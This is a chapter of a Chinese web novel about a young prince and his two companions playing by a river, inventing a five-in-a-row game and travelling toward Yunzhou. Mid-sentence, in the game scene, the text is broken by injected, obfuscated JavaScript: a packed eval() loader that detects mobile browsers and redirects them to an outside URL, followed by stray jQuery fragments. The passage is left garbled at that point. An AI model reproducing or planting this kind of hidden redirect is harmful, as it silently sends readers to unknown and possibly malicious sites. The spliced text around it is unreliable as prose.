自那日潞州府庙会归来，亲眼目睹了杂耍班小孩的艰辛后，赵庚旭的情绪明显低落很多。


    皇帝赵衍将幼子的闷闷不乐看在眼里，并未出言训诫或刻意安慰，只是淡淡吩咐行程稍作缓行，并格外开恩，允许小九的两位伴读——李锐和王瑾到御驾马车中来陪伴解闷。


    这一日，天公作美，晴空万里。车队在官道旁一处风景极佳的河边草甸暂停休整。


    阳光暖融融地洒下，将青草上的露珠映照得如同珍珠般璀璨。微风拂过，带来青草、野花和湿润泥土的清新气息，河水潺潺流淌，奏着轻快的自然乐章，远处山林间鸟鸣清脆悦耳。


    这片生机勃勃的野趣，让一群小孩子都兴奋了起来。


    “殿下！殿下！快来看！这河水清亮得能看见底下的小鱼和水草！”


    李锐第一个蹦下马车，家风爽朗，又是独子，养得他性子也如小马驹般活泼外向，精力旺盛。


    一到野外，他更是如同归林的小兽，指着波光粼粼的河面，大呼小叫，瞬间吸引了所有人的注意。


    王瑾随后下车，他并未急着去玩闹，而是先细心地环顾四周环境，确认地势平坦、并无潜在危险。


    然后才从随身携带的紫檀木小书箱里，取出一个用干净细布包裹好的食盒，微笑着提议：


    “殿下，车内终究气闷，不如我们就在那棵大柳树下歇歇？荫凉又近水。我带了母亲亲手腌制的蜜渍梅子，还有些镇在冰囊里的酸梅饮，最是解暑。”


    小九被他们雀跃的情绪感染，点头笑到：“好！就去柳树下！王瑾你准备得真周到！”


    福贵忙不迭地应声，指挥着另外两个小太监迅速在选定的柳树下铺开厚实柔软的地垫，将点心、饮品一一摆好，又机灵地跑去与侍卫领队低声沟通，确保这片休憩区域万无一失。


    李锐几口就吃完一块糕点，眼睛滴溜溜一转，又有了新主意：


    “光坐着吃有什么意思？殿下，你看这河水又浅又清，咱们下去摸鱼吧？说不定晚上还能给晚膳添道鲜汤呢！”


    他说着就开始利落地挽裤腿，露出结实的小腿。


    王瑾闻言，微微蹙眉，开口道：“摸鱼？怕是有些危险，河石湿滑，若是跌倒或是惊扰了水蛇……”


    “哎呦！王瑾你怎么老是瞻前顾后的！跟个小老头子似的！”


    李锐打断他，语气急切，“这水清澈见底，才没过脚踝！哪来的水蛇！殿下，你说好不好？咱们比谁摸到的鱼大！”


    他殷切地看向小九，眼神闪闪发亮。


    小九也是个闲不住爱玩性子，被李锐这么一怂恿，又见河水确实清浅诱人，顿时心动不已，皇宫御花园的金鱼池可没这野趣！他立刻拍板：


    “好！就摸鱼！不过咱们得约法三章，谁也不许往水深没过小腿的地方去，就在岸边浅水处！福贵，你就在岸边看着！”


    “好嘞！殿下英明！”


    李锐欢呼一声，第一个脱了鞋袜，赤着脚就小心翼翼地踩进河里，冰凉的河水激得他哇哇大叫，却又兴奋不已。


    小九也笑着脱去鞋袜，学着样子下水，细腻的河沙和光滑的鹅卵石踩在脚底，痒痒的，很舒服。


    王瑾看着他们，无奈地摇摇头，但还是细心地将三人的鞋袜在岸边干燥处摆放整齐，然后才仔细地卷起裤腿，跟着下水，嘴里还不忘叮嘱：


    “务必小心脚下，水底青苔最是滑溜……”


    摸鱼显然是个技术活，三个养尊处优的小少爷空有热情，手忙脚乱了半天，连片鱼鳞都没摸到，反而因笨拙的动作溅起大片水花，很快就开始互相泼水玩闹起来。


    李锐最先发起“攻击”，撩起水就往小九身上泼，小九大笑着躲闪，立刻予以“反击”。


    王瑾起初还保持着风度，试图避开“战区”，但被无差别“误伤”了几次后，也忍不住笑着加入了“混战”。


    一时间，河岸边水花四溅，欢声笑语惊起了不少不远处芦苇丛中的水鸟。


    “哈哈哈！李锐你头发都湿透了！像只落水狗！”


    “殿下您耍赖！专攻下盘！王瑾你别光看着，快帮我拦住殿下！”


    “福贵！快拿汗巾来！再给我们倒点酸梅饮！哈哈哈！”


    福贵看着在河里玩疯了的三位小主子，尤其是笑得眉眼弯弯、几日来愁眉尽展的九殿下，心里也大大松了口气，忙不迭地递汗巾，又赶紧准备好干爽的替换衣物。


    玩累了，三人湿漉漉地爬上岸，毫无形象地躺在草地上大口喘气，望着蔚蓝天空中缓缓飘过的洁白云朵，只觉得心胸开阔，畅快极了。


    小九望着天空，忽然喃喃道：“要是天下所有的孩子，都能像我们刚才这样，无忧无虑地玩水嬉戏就好了……”语气里带上了一丝怅惘。


    王瑾侧过头，看着小九，轻声而认真地说：“殿下仁心，时刻念及百姓，实乃万民之福。


    将来殿下……定能让更多的孩子食能果腹，衣能蔽体，亦有闲情嬉戏游玩。”


    李锐也凑过来，他虽然不太懂那些深奥的治国道理，但用力点头，语气坚定：


    “对！殿下最是厉害！以后肯定能让大家都过上好日子！看谁还敢欺负小孩子！”


    小九听着伙伴们真诚的话语，心里暖暖的，一个鲤鱼打挺坐了起来，眼睛重新变得亮晶晶的：


    “不说这个了！我们来玩个新游戏！我发明的，叫‘五子连珠’！福贵，把咱们的点心盘子腾出来！”


    虽然不明白殿下这脑袋瓜里又冒出了什么新奇点子，但两个伙伴立刻积极响应。


    很快，材料备齐。小九将现代五子棋的规则简化后教给他们。


    “……规则就是这样，无论横、竖、斜，谁先用自己的棋子连成一条五颗的直线，就算赢！”小九用小树枝点着棋盘解释道。


    李锐和王瑾都是天资聪颖的孩子，一听就明白了规则。


    李锐立刻摩拳擦掌，跃跃欲试：“这个好玩！比围棋简单直接，痛快！我来试试！”


    王瑾眼中也闪着感兴趣的光芒：“看似规则简单，实则需布局谋划，预判对手，暗藏玄机，甚是有趣。”


    于是，柳荫下又展开了一场无声的“脑力厮杀”。


    李锐冲杀勇猛，开局凌厉，但常常贪功冒进，落入陷阱；


    王瑾则步步为营，精于算计，防守得滴水不漏，偶尔露出锋芒；


    小九则时而奇招频出，打得他们措手不及，时而又故意卖个破绽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365971|182810||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，让游戏更有趣味。


    福贵在一旁看得津津有味，不时殷勤地给各位小主子添上冰凉的酸梅饮。


    玩了几局棋后，李锐坐不住了，眼尖地发现不远处有棵野桑树，上面结满了紫黑色的桑葚。


    他立刻自告奋勇：“殿下，王瑾，你们等着，我去摘些果子来！”


    不等回应，他便如猴子般利落地爬上树，挑选熟透的桑葚摘下，用衣襟兜着。


    虽然下来时蹭脏了衣服，手上也被果汁染得紫红，但那捧鲜甜多汁的野果却赢得了大家的一致好评。


    时间在欢快的游戏中飞逝。直到一名侍卫前来恭敬地请示是否启程赶路，孩子们才惊觉日头已微微西斜。


    重新坐上马车，虽然身体有些疲惫，但小九的心情已是云开月明，彻底恢复了明朗。


    李锐还在喋喋不休地讨论着刚才哪一步棋走得妙，哪颗桑葚最甜；王瑾则安静地待在一旁。


    福贵细心地帮殿下擦干头发，换上干净的衣物，将东西妥善收好。


    车队继续向南行进，接下来的两日，旅途平稳而愉快。


    小九和两个伴读时而一同看书习字，时而玩“五子连珠”或是小九随口杜撰的其他新奇小游戏。


    时而听王瑾讲些各地的风土人情、奇闻轶事，李锐则负责插科打诨、活跃气氛，车内总是充满欢声笑语，其乐融融。


    沿途的景色也逐渐呈现出鲜明的江南韵味，山势变得更加连绵秀丽，满目苍翠，水网愈发稠密，空气更加湿润清新，路旁民居的白墙黛瓦多了起来，偶尔还能看到戴着斗笠的农人在水田里辛勤劳作。


    第三天下午，马车外的喧嚣声似乎变得更加丰富多样。


    小九好奇地掀开车帘一角望去，只见官道变得更加宽阔平整，以青石板铺就，车马行人明显增多，挑着担子的货郎、骑着毛驴的书生、拖着货物的板车络绎不绝。


    路两旁不再是单纯的农田，开始出现连绵起伏、修剪整齐的茶山，以及大片大片的果林。


    远处，一座城镇的轮廓在午后的阳光下依稀可见，屋舍鳞次栉比，规模宏大，气势更胜潞州。


    一名护卫策马来到车窗外，恭敬地对车内道：“陛下，九殿下，前方即将抵达云州地界，预计日落前可入城。”


    皇帝在另一辆车上微微颔首，目光也投向远方那座富庶的城市。


    小九兴奋地放下车帘，对李锐和王瑾说：“听到没？云州要到了！”


    他记得天幕曾提过，云州府是江南重镇，以质优精美的“云锦”丝绸和香气清雅的“云雾茶”闻名天下，是名副其实的鱼米之乡，富庶之地。


    李锐闻言，立刻搓着手，一脸向往：


    “云州！听说这里的醉蟹和八宝鸭可是一绝！不知道晚上能不能吃到！”


    王瑾则显得沉稳许多，沉吟道：


    “云州不仅物产丰饶，文风亦颇鼎盛，历史上出过不少状元进士，或许……我们有机会去有名的书院街看看？”


    福贵赶紧再次仔细检查了一下随身行李，确保殿下入城时仪容整洁，所需物品触手可及。


    车轮辘辘，新的见闻、新的故事、新的美食，似乎都即将在这座烟雨江南的繁华州府展开。